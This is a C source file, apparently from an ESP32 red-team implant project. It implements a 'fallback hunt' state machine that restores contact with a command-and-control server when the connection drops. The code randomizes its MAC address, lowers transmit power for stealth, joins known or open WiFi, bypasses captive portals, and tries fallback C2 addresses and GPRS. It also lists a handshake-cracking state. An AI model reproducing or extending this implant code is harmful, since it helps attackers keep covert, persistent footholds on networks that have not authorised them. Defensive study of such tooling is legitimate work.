Move command registry from components/command/ into components/core/. New modules: mod_canbus, mod_honeypot, mod_fallback, mod_redteam, mod_ota. Replace mod_proxy with tun_core (multiplexed SOCKS5 tunnel). Kconfig extended with per-module settings and async worker config.
704 lines
19 KiB
C
704 lines
19 KiB
C
/*
|
|
* fb_hunt.c
|
|
* Fallback hunt state machine — autonomous network recovery.
|
|
* FreeRTOS task (8KB stack, Core 1).
|
|
*
|
|
* Pipeline: known networks → open WiFi + captive bypass → loop
|
|
* No C2 commands needed — auto-triggered on TCP failure.
|
|
*/
|
|
#include "sdkconfig.h"
|
|
#include "fb_hunt.h"
|
|
|
|
#ifdef CONFIG_MODULE_FALLBACK
|
|
|
|
#include <string.h>
|
|
#include <stdio.h>
|
|
#include <stdatomic.h>
|
|
|
|
#include "esp_log.h"
|
|
#include "esp_wifi.h"
|
|
#include "esp_event.h"
|
|
#include "esp_netif.h"
|
|
#include "freertos/FreeRTOS.h"
|
|
#include "freertos/task.h"
|
|
#include "freertos/event_groups.h"
|
|
#include "lwip/sockets.h"
|
|
#include "lwip/netdb.h"
|
|
|
|
#include "utils.h"
|
|
#include "fb_config.h"
|
|
#include "fb_stealth.h"
|
|
#include "fb_captive.h"
|
|
|
|
static const char *TAG = "FB_HUNT";
|
|
|
|
#define FB_HUNT_STACK 8192
|
|
#define FB_HUNT_PRIO 6
|
|
#define FB_WIFI_TIMEOUT_MS 8000
|
|
#define FB_TCP_TIMEOUT_S 5
|
|
#define FB_RESCAN_DELAY_S 60
|
|
|
|
/* Event bits for WiFi events */
|
|
#define FB_EVT_GOT_IP BIT0
|
|
#define FB_EVT_DISCONNECT BIT1
|
|
|
|
/* ============================================================
|
|
* State
|
|
* ============================================================ */
|
|
|
|
static volatile fb_state_t s_state = FB_IDLE;
|
|
static char s_connected_ssid[33] = {0};
|
|
static char s_connected_method[16] = {0};
|
|
static atomic_bool s_active = false;
|
|
static TaskHandle_t s_task_handle = NULL;
|
|
static EventGroupHandle_t s_evt_group = NULL;
|
|
|
|
/* Mutex protecting s_state, s_connected_ssid, s_connected_method */
|
|
static SemaphoreHandle_t s_state_mutex = NULL;
|
|
|
|
/* Skip GPRS strategy (set by gprs_client_task to avoid GPRS→hunt→GPRS loop) */
|
|
static bool s_skip_gprs = false;
|
|
|
|
static inline void state_lock(void) {
|
|
if (s_state_mutex) xSemaphoreTake(s_state_mutex, portMAX_DELAY);
|
|
}
|
|
static inline void state_unlock(void) {
|
|
if (s_state_mutex) xSemaphoreGive(s_state_mutex);
|
|
}
|
|
|
|
/* Saved original WiFi config for restore */
|
|
static wifi_config_t s_orig_wifi_config;
|
|
static bool s_orig_config_saved = false;
|
|
|
|
/* State name lookup */
|
|
static const char *state_names[] = {
|
|
[FB_IDLE] = "idle",
|
|
[FB_STEALTH_PREP] = "stealth_prep",
|
|
[FB_PASSIVE_SCAN] = "passive_scan",
|
|
[FB_TRYING_KNOWN] = "trying_known",
|
|
[FB_TRYING_OPEN] = "trying_open",
|
|
[FB_PORTAL_CHECK] = "portal_check",
|
|
[FB_PORTAL_BYPASS] = "portal_bypass",
|
|
[FB_C2_VERIFY] = "c2_verify",
|
|
[FB_HANDSHAKE_CRACK] = "handshake_crack",
|
|
[FB_GPRS_DIRECT] = "gprs_direct",
|
|
[FB_CONNECTED] = "connected",
|
|
};
|
|
|
|
/* ============================================================
|
|
* WiFi event handler for hunt (registered dynamically)
|
|
* ============================================================ */
|
|
|
|
static void fb_wifi_event_handler(void *arg, esp_event_base_t base,
|
|
int32_t id, void *data)
|
|
{
|
|
if (!s_evt_group) return;
|
|
|
|
if (base == IP_EVENT && id == IP_EVENT_STA_GOT_IP) {
|
|
xEventGroupSetBits(s_evt_group, FB_EVT_GOT_IP);
|
|
}
|
|
if (base == WIFI_EVENT && id == WIFI_EVENT_STA_DISCONNECTED) {
|
|
xEventGroupSetBits(s_evt_group, FB_EVT_DISCONNECT);
|
|
}
|
|
}
|
|
|
|
/* ============================================================
|
|
* Helpers
|
|
* ============================================================ */
|
|
|
|
static void set_state(fb_state_t new_state)
|
|
{
|
|
state_lock();
|
|
s_state = new_state;
|
|
state_unlock();
|
|
ESP_LOGI(TAG, "→ %s", state_names[new_state]);
|
|
}
|
|
|
|
/* Try to connect to a WiFi network. Returns true if got IP. */
|
|
static bool wifi_try_connect(const char *ssid, const char *pass, int timeout_ms)
|
|
{
|
|
wifi_config_t cfg = {0};
|
|
strncpy((char *)cfg.sta.ssid, ssid, sizeof(cfg.sta.ssid) - 1);
|
|
if (pass && pass[0]) {
|
|
strncpy((char *)cfg.sta.password, pass, sizeof(cfg.sta.password) - 1);
|
|
}
|
|
|
|
esp_wifi_disconnect();
|
|
vTaskDelay(pdMS_TO_TICKS(200));
|
|
|
|
esp_err_t err = esp_wifi_set_config(WIFI_IF_STA, &cfg);
|
|
if (err != ESP_OK) {
|
|
ESP_LOGE(TAG, "WiFi set_config failed: %s", esp_err_to_name(err));
|
|
return false;
|
|
}
|
|
|
|
xEventGroupClearBits(s_evt_group, FB_EVT_GOT_IP | FB_EVT_DISCONNECT);
|
|
esp_wifi_connect();
|
|
|
|
EventBits_t bits = xEventGroupWaitBits(
|
|
s_evt_group,
|
|
FB_EVT_GOT_IP | FB_EVT_DISCONNECT,
|
|
pdTRUE, /* clear on exit */
|
|
pdFALSE, /* any bit */
|
|
pdMS_TO_TICKS(timeout_ms)
|
|
);
|
|
|
|
if (bits & FB_EVT_GOT_IP) {
|
|
ESP_LOGI(TAG, "Got IP on '%s'", ssid);
|
|
return true;
|
|
}
|
|
|
|
ESP_LOGW(TAG, "WiFi connect to '%s' failed/timed out", ssid);
|
|
return false;
|
|
}
|
|
|
|
/* Try TCP connect to C2. Returns true if reachable. */
|
|
static bool tcp_try_c2(const char *ip, int port)
|
|
{
|
|
struct sockaddr_in addr = {0};
|
|
addr.sin_family = AF_INET;
|
|
addr.sin_port = htons(port);
|
|
addr.sin_addr.s_addr = inet_addr(ip);
|
|
|
|
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
|
if (s < 0) return false;
|
|
|
|
struct timeval tv = { .tv_sec = FB_TCP_TIMEOUT_S, .tv_usec = 0 };
|
|
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
|
|
|
int ret = lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr));
|
|
lwip_close(s);
|
|
|
|
if (ret == 0) {
|
|
ESP_LOGI(TAG, "C2 reachable at %s:%d", ip, port);
|
|
return true;
|
|
}
|
|
|
|
return false;
|
|
}
|
|
|
|
/* Try C2 primary + fallbacks. Returns true if any reachable. */
|
|
static bool verify_c2_reachable(void)
|
|
{
|
|
set_state(FB_C2_VERIFY);
|
|
|
|
/* Try primary C2 */
|
|
if (tcp_try_c2(CONFIG_SERVER_IP, CONFIG_SERVER_PORT)) {
|
|
return true;
|
|
}
|
|
|
|
/* Try NVS fallback addresses */
|
|
fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS];
|
|
int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS);
|
|
|
|
for (int i = 0; i < count; i++) {
|
|
char ip_buf[48];
|
|
int port = CONFIG_SERVER_PORT;
|
|
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
|
|
ip_buf[sizeof(ip_buf) - 1] = '\0';
|
|
|
|
char *colon = strrchr(ip_buf, ':');
|
|
if (colon) {
|
|
*colon = '\0';
|
|
port = atoi(colon + 1);
|
|
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
|
|
}
|
|
|
|
if (tcp_try_c2(ip_buf, port)) {
|
|
return true;
|
|
}
|
|
}
|
|
|
|
ESP_LOGW(TAG, "C2 unreachable (primary + %d fallbacks)", count);
|
|
return false;
|
|
}
|
|
|
|
/* Mark successful connection */
|
|
static void mark_connected(const char *ssid, const char *method)
|
|
{
|
|
state_lock();
|
|
strncpy(s_connected_ssid, ssid, sizeof(s_connected_ssid) - 1);
|
|
s_connected_ssid[sizeof(s_connected_ssid) - 1] = '\0';
|
|
strncpy(s_connected_method, method, sizeof(s_connected_method) - 1);
|
|
s_connected_method[sizeof(s_connected_method) - 1] = '\0';
|
|
state_unlock();
|
|
set_state(FB_CONNECTED);
|
|
|
|
ESP_LOGI(TAG, "Connected via %s: '%s'", method, ssid);
|
|
}
|
|
|
|
/* ============================================================
|
|
* WiFi scan
|
|
* ============================================================ */
|
|
|
|
typedef struct {
|
|
char ssid[33];
|
|
uint8_t bssid[6];
|
|
int8_t rssi;
|
|
uint8_t channel;
|
|
wifi_auth_mode_t authmode;
|
|
} fb_candidate_t;
|
|
|
|
#define FB_MAX_CANDIDATES 32
|
|
|
|
static fb_candidate_t s_candidates[FB_MAX_CANDIDATES];
|
|
static int s_candidate_count = 0;
|
|
|
|
static void do_wifi_scan(void)
|
|
{
|
|
s_candidate_count = 0;
|
|
|
|
esp_wifi_disconnect();
|
|
vTaskDelay(pdMS_TO_TICKS(200));
|
|
|
|
wifi_scan_config_t scan_cfg = {
|
|
.ssid = NULL,
|
|
.bssid = NULL,
|
|
.channel = 0,
|
|
.show_hidden = true,
|
|
.scan_type = WIFI_SCAN_TYPE_ACTIVE,
|
|
.scan_time = {
|
|
.active = { .min = 120, .max = 300 },
|
|
},
|
|
};
|
|
|
|
esp_err_t err = esp_wifi_scan_start(&scan_cfg, true);
|
|
if (err != ESP_OK) {
|
|
ESP_LOGE(TAG, "WiFi scan failed: %s", esp_err_to_name(err));
|
|
return;
|
|
}
|
|
|
|
uint16_t ap_count = 0;
|
|
esp_wifi_scan_get_ap_num(&ap_count);
|
|
if (ap_count == 0) {
|
|
ESP_LOGW(TAG, "Scan: 0 APs found");
|
|
return;
|
|
}
|
|
|
|
if (ap_count > FB_MAX_CANDIDATES) ap_count = FB_MAX_CANDIDATES;
|
|
|
|
wifi_ap_record_t *records = malloc(ap_count * sizeof(wifi_ap_record_t));
|
|
if (!records) {
|
|
esp_wifi_clear_ap_list();
|
|
return;
|
|
}
|
|
|
|
esp_wifi_scan_get_ap_records(&ap_count, records);
|
|
|
|
for (int i = 0; i < ap_count; i++) {
|
|
fb_candidate_t *c = &s_candidates[s_candidate_count];
|
|
strncpy(c->ssid, (char *)records[i].ssid, sizeof(c->ssid) - 1);
|
|
c->ssid[sizeof(c->ssid) - 1] = '\0';
|
|
memcpy(c->bssid, records[i].bssid, 6);
|
|
c->rssi = records[i].rssi;
|
|
c->channel = records[i].primary;
|
|
c->authmode = records[i].authmode;
|
|
s_candidate_count++;
|
|
}
|
|
|
|
free(records);
|
|
ESP_LOGI(TAG, "Scan: %d APs found", s_candidate_count);
|
|
}
|
|
|
|
/* ============================================================
|
|
* Strategy 1: Try known networks (original WiFi + NVS)
|
|
* ============================================================ */
|
|
|
|
static bool try_known_networks(void)
|
|
{
|
|
set_state(FB_TRYING_KNOWN);
|
|
|
|
/* Try original WiFi config first (the one we were connected to) */
|
|
if (s_orig_config_saved && s_orig_wifi_config.sta.ssid[0]) {
|
|
ESP_LOGI(TAG, "Trying original WiFi: '%s'",
|
|
(char *)s_orig_wifi_config.sta.ssid);
|
|
|
|
#ifdef CONFIG_FB_STEALTH
|
|
fb_stealth_randomize_mac();
|
|
#endif
|
|
|
|
if (wifi_try_connect((char *)s_orig_wifi_config.sta.ssid,
|
|
(char *)s_orig_wifi_config.sta.password,
|
|
FB_WIFI_TIMEOUT_MS)) {
|
|
if (verify_c2_reachable()) {
|
|
mark_connected((char *)s_orig_wifi_config.sta.ssid, "original");
|
|
return true;
|
|
}
|
|
ESP_LOGW(TAG, "Original WiFi connected but C2 unreachable");
|
|
}
|
|
}
|
|
|
|
/* Then try NVS known networks */
|
|
fb_network_t nets[CONFIG_FB_MAX_KNOWN_NETWORKS];
|
|
int net_count = fb_config_net_list(nets, CONFIG_FB_MAX_KNOWN_NETWORKS);
|
|
|
|
if (net_count == 0) {
|
|
ESP_LOGI(TAG, "No additional known networks in NVS");
|
|
return false;
|
|
}
|
|
|
|
for (int n = 0; n < net_count; n++) {
|
|
ESP_LOGI(TAG, "Trying known: '%s'", nets[n].ssid);
|
|
|
|
#ifdef CONFIG_FB_STEALTH
|
|
fb_stealth_randomize_mac();
|
|
#endif
|
|
|
|
if (wifi_try_connect(nets[n].ssid, nets[n].pass, FB_WIFI_TIMEOUT_MS)) {
|
|
if (verify_c2_reachable()) {
|
|
mark_connected(nets[n].ssid, "known");
|
|
return true;
|
|
}
|
|
ESP_LOGW(TAG, "'%s' connected but C2 unreachable", nets[n].ssid);
|
|
}
|
|
}
|
|
|
|
return false;
|
|
}
|
|
|
|
/* ============================================================
|
|
* Strategy 2: Try open WiFi networks + captive portal bypass
|
|
* ============================================================ */
|
|
|
|
static bool try_open_networks(void)
|
|
{
|
|
set_state(FB_TRYING_OPEN);
|
|
|
|
for (int i = 0; i < s_candidate_count; i++) {
|
|
if (s_candidates[i].authmode != WIFI_AUTH_OPEN)
|
|
continue;
|
|
if (s_candidates[i].ssid[0] == '\0')
|
|
continue; /* hidden */
|
|
|
|
ESP_LOGI(TAG, "Trying open: '%s' (RSSI=%d)",
|
|
s_candidates[i].ssid, s_candidates[i].rssi);
|
|
|
|
#ifdef CONFIG_FB_STEALTH
|
|
fb_stealth_randomize_mac();
|
|
#endif
|
|
|
|
if (wifi_try_connect(s_candidates[i].ssid, "", FB_WIFI_TIMEOUT_MS)) {
|
|
/* Check for captive portal */
|
|
set_state(FB_PORTAL_CHECK);
|
|
fb_portal_status_t portal = fb_captive_detect();
|
|
|
|
if (portal == FB_PORTAL_NONE) {
|
|
if (verify_c2_reachable()) {
|
|
mark_connected(s_candidates[i].ssid, "open");
|
|
return true;
|
|
}
|
|
} else if (portal == FB_PORTAL_DETECTED) {
|
|
set_state(FB_PORTAL_BYPASS);
|
|
if (fb_captive_bypass()) {
|
|
if (verify_c2_reachable()) {
|
|
mark_connected(s_candidates[i].ssid, "open+portal");
|
|
return true;
|
|
}
|
|
}
|
|
ESP_LOGW(TAG, "Portal bypass failed for '%s'",
|
|
s_candidates[i].ssid);
|
|
} else {
|
|
/* FB_PORTAL_UNKNOWN — try C2 directly anyway */
|
|
if (verify_c2_reachable()) {
|
|
mark_connected(s_candidates[i].ssid, "open");
|
|
return true;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
return false;
|
|
}
|
|
|
|
/* ============================================================
|
|
* Hunt task — main state machine
|
|
* ============================================================ */
|
|
|
|
extern atomic_bool fb_active; /* defined in WiFi.c */
|
|
|
|
#ifdef CONFIG_NETWORK_WIFI
|
|
extern void wifi_pause_reconnect(void);
|
|
extern void wifi_resume_reconnect(void);
|
|
#endif
|
|
|
|
/* ============================================================
|
|
* WiFi lazy init (for GPRS primary mode)
|
|
* ============================================================ */
|
|
#ifdef CONFIG_FB_WIFI_FALLBACK
|
|
static bool s_wifi_inited = false;
|
|
|
|
static void ensure_wifi_init(void)
|
|
{
|
|
if (!s_wifi_inited) {
|
|
ESP_LOGI(TAG, "Lazy WiFi init for GPRS fallback");
|
|
extern void wifi_init(void);
|
|
wifi_init();
|
|
s_wifi_inited = true;
|
|
vTaskDelay(pdMS_TO_TICKS(2000));
|
|
}
|
|
}
|
|
#endif
|
|
|
|
/* ============================================================
|
|
* Strategy 3: GPRS direct (WiFi primary mode only)
|
|
* ============================================================ */
|
|
#ifdef CONFIG_FB_GPRS_FALLBACK
|
|
|
|
static bool try_gprs_direct(void)
|
|
{
|
|
if (s_skip_gprs) {
|
|
ESP_LOGI(TAG, "GPRS strategy skipped (came from GPRS)");
|
|
return false;
|
|
}
|
|
|
|
set_state(FB_GPRS_DIRECT);
|
|
ESP_LOGI(TAG, "Trying GPRS direct connection");
|
|
|
|
setup_uart();
|
|
setup_modem();
|
|
|
|
if (!connect_gprs() || !connect_tcp()) {
|
|
close_tcp_connection();
|
|
ESP_LOGW(TAG, "GPRS direct failed");
|
|
return false;
|
|
}
|
|
|
|
mark_connected("GPRS", "gprs");
|
|
|
|
/* Mini RX loop via GPRS — stays here until hunt is stopped */
|
|
while (s_active) {
|
|
gprs_rx_poll();
|
|
vTaskDelay(pdMS_TO_TICKS(10));
|
|
}
|
|
|
|
close_tcp_connection();
|
|
return false; /* Hunt was stopped externally */
|
|
}
|
|
|
|
#endif /* CONFIG_FB_GPRS_FALLBACK */
|
|
|
|
static void hunt_task(void *arg)
|
|
{
|
|
(void)arg;
|
|
ESP_LOGI(TAG, "Fallback hunt task started");
|
|
|
|
#ifdef CONFIG_FB_WIFI_FALLBACK
|
|
/* In GPRS mode, WiFi may not be initialized yet */
|
|
ensure_wifi_init();
|
|
#endif
|
|
|
|
/* Save MAC before we randomize it */
|
|
fb_stealth_save_original_mac();
|
|
fb_config_save_orig_mac();
|
|
|
|
/* Save original WiFi config */
|
|
if (!s_orig_config_saved) {
|
|
esp_wifi_get_config(WIFI_IF_STA, &s_orig_wifi_config);
|
|
s_orig_config_saved = true;
|
|
}
|
|
|
|
/* Take control of WiFi from normal reconnect logic */
|
|
fb_active = true;
|
|
#ifdef CONFIG_NETWORK_WIFI
|
|
wifi_pause_reconnect();
|
|
#endif
|
|
|
|
/* Register our event handler */
|
|
esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP,
|
|
&fb_wifi_event_handler, NULL);
|
|
esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
|
|
&fb_wifi_event_handler, NULL);
|
|
|
|
while (s_active) {
|
|
|
|
/* ---- STEALTH PREP ---- */
|
|
#ifdef CONFIG_FB_STEALTH
|
|
set_state(FB_STEALTH_PREP);
|
|
fb_stealth_randomize_mac();
|
|
fb_stealth_low_tx_power();
|
|
vTaskDelay(pdMS_TO_TICKS(100));
|
|
#endif
|
|
|
|
/* ---- SCAN ---- */
|
|
set_state(FB_PASSIVE_SCAN);
|
|
do_wifi_scan();
|
|
|
|
/* ---- STRATEGY 1: Known networks ---- */
|
|
if (s_active && try_known_networks()) break;
|
|
|
|
/* ---- STRATEGY 2: Open networks + captive portal ---- */
|
|
if (s_active && try_open_networks()) break;
|
|
|
|
#ifdef CONFIG_FB_GPRS_FALLBACK
|
|
/* ---- STRATEGY 3: GPRS direct (last resort) ---- */
|
|
if (s_active && try_gprs_direct()) break;
|
|
#endif
|
|
|
|
/* ---- All strategies failed — wait and rescan ---- */
|
|
if (!s_active) break;
|
|
|
|
ESP_LOGW(TAG, "All strategies exhausted — wait %ds and rescan",
|
|
FB_RESCAN_DELAY_S);
|
|
set_state(FB_IDLE);
|
|
|
|
for (int i = 0; i < FB_RESCAN_DELAY_S && s_active; i++) {
|
|
vTaskDelay(pdMS_TO_TICKS(1000));
|
|
}
|
|
}
|
|
|
|
/* ---- Cleanup ---- */
|
|
|
|
esp_event_handler_unregister(IP_EVENT, IP_EVENT_STA_GOT_IP,
|
|
&fb_wifi_event_handler);
|
|
esp_event_handler_unregister(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
|
|
&fb_wifi_event_handler);
|
|
|
|
if (s_state == FB_CONNECTED) {
|
|
#ifdef CONFIG_FB_STEALTH
|
|
fb_stealth_restore_tx_power();
|
|
#endif
|
|
fb_active = false;
|
|
#ifdef CONFIG_NETWORK_WIFI
|
|
wifi_resume_reconnect();
|
|
#endif
|
|
ESP_LOGI(TAG, "Hunt complete — handing off to client task");
|
|
} else {
|
|
/* Restore original WiFi config */
|
|
#ifdef CONFIG_FB_STEALTH
|
|
fb_stealth_restore_mac();
|
|
fb_stealth_restore_tx_power();
|
|
#endif
|
|
if (s_orig_config_saved) {
|
|
esp_wifi_set_config(WIFI_IF_STA, &s_orig_wifi_config);
|
|
}
|
|
fb_active = false;
|
|
#ifdef CONFIG_NETWORK_WIFI
|
|
wifi_resume_reconnect();
|
|
#endif
|
|
esp_wifi_connect();
|
|
ESP_LOGI(TAG, "Hunt stopped — restoring original WiFi");
|
|
}
|
|
|
|
s_task_handle = NULL;
|
|
vTaskDelete(NULL);
|
|
}
|
|
|
|
/* ============================================================
|
|
* Public API
|
|
* ============================================================ */
|
|
|
|
const char *fb_hunt_state_name(fb_state_t state)
|
|
{
|
|
if (state <= FB_CONNECTED)
|
|
return state_names[state];
|
|
return "unknown";
|
|
}
|
|
|
|
fb_state_t fb_hunt_get_state(void)
|
|
{
|
|
state_lock();
|
|
fb_state_t st = s_state;
|
|
state_unlock();
|
|
return st;
|
|
}
|
|
|
|
bool fb_hunt_is_active(void)
|
|
{
|
|
return s_active;
|
|
}
|
|
|
|
const char *fb_hunt_connected_ssid(void)
|
|
{
|
|
static char ssid_copy[33];
|
|
state_lock();
|
|
memcpy(ssid_copy, s_connected_ssid, sizeof(ssid_copy));
|
|
state_unlock();
|
|
return ssid_copy;
|
|
}
|
|
|
|
const char *fb_hunt_connected_method(void)
|
|
{
|
|
static char method_copy[16];
|
|
state_lock();
|
|
memcpy(method_copy, s_connected_method, sizeof(method_copy));
|
|
state_unlock();
|
|
return method_copy;
|
|
}
|
|
|
|
void fb_hunt_init(void)
|
|
{
|
|
if (!s_state_mutex) {
|
|
s_state_mutex = xSemaphoreCreateMutex();
|
|
}
|
|
if (!s_evt_group) {
|
|
s_evt_group = xEventGroupCreate();
|
|
}
|
|
ESP_LOGI(TAG, "Hunt init done");
|
|
}
|
|
|
|
void fb_hunt_set_skip_gprs(bool skip)
|
|
{
|
|
s_skip_gprs = skip;
|
|
}
|
|
|
|
void fb_hunt_trigger(void)
|
|
{
|
|
if (s_active) {
|
|
ESP_LOGW(TAG, "Hunt already active");
|
|
return;
|
|
}
|
|
|
|
/* Ensure init (safety net if called before register_commands) */
|
|
fb_hunt_init();
|
|
|
|
s_skip_gprs = false; /* Reset per-hunt */
|
|
s_active = true;
|
|
|
|
state_lock();
|
|
s_state = FB_IDLE;
|
|
s_connected_ssid[0] = '\0';
|
|
s_connected_method[0] = '\0';
|
|
state_unlock();
|
|
|
|
BaseType_t ret = xTaskCreatePinnedToCore(
|
|
hunt_task,
|
|
"fb_hunt",
|
|
FB_HUNT_STACK,
|
|
NULL,
|
|
FB_HUNT_PRIO,
|
|
&s_task_handle,
|
|
1 /* Core 1 */
|
|
);
|
|
|
|
if (ret != pdPASS) {
|
|
ESP_LOGE(TAG, "Failed to create hunt task");
|
|
s_active = false;
|
|
}
|
|
}
|
|
|
|
void fb_hunt_stop(void)
|
|
{
|
|
if (!s_active) return;
|
|
|
|
s_active = false;
|
|
|
|
for (int i = 0; i < 50 && s_task_handle != NULL; i++) {
|
|
vTaskDelay(pdMS_TO_TICKS(100));
|
|
}
|
|
|
|
/* Only reset state if task actually exited */
|
|
if (s_task_handle == NULL) {
|
|
state_lock();
|
|
s_state = FB_IDLE;
|
|
s_connected_ssid[0] = '\0';
|
|
s_connected_method[0] = '\0';
|
|
state_unlock();
|
|
} else {
|
|
ESP_LOGW(TAG, "Hunt task did not exit in time");
|
|
}
|
|
|
|
ESP_LOGI(TAG, "Hunt stopped");
|
|
}
|
|
|
|
#endif /* CONFIG_MODULE_FALLBACK */
|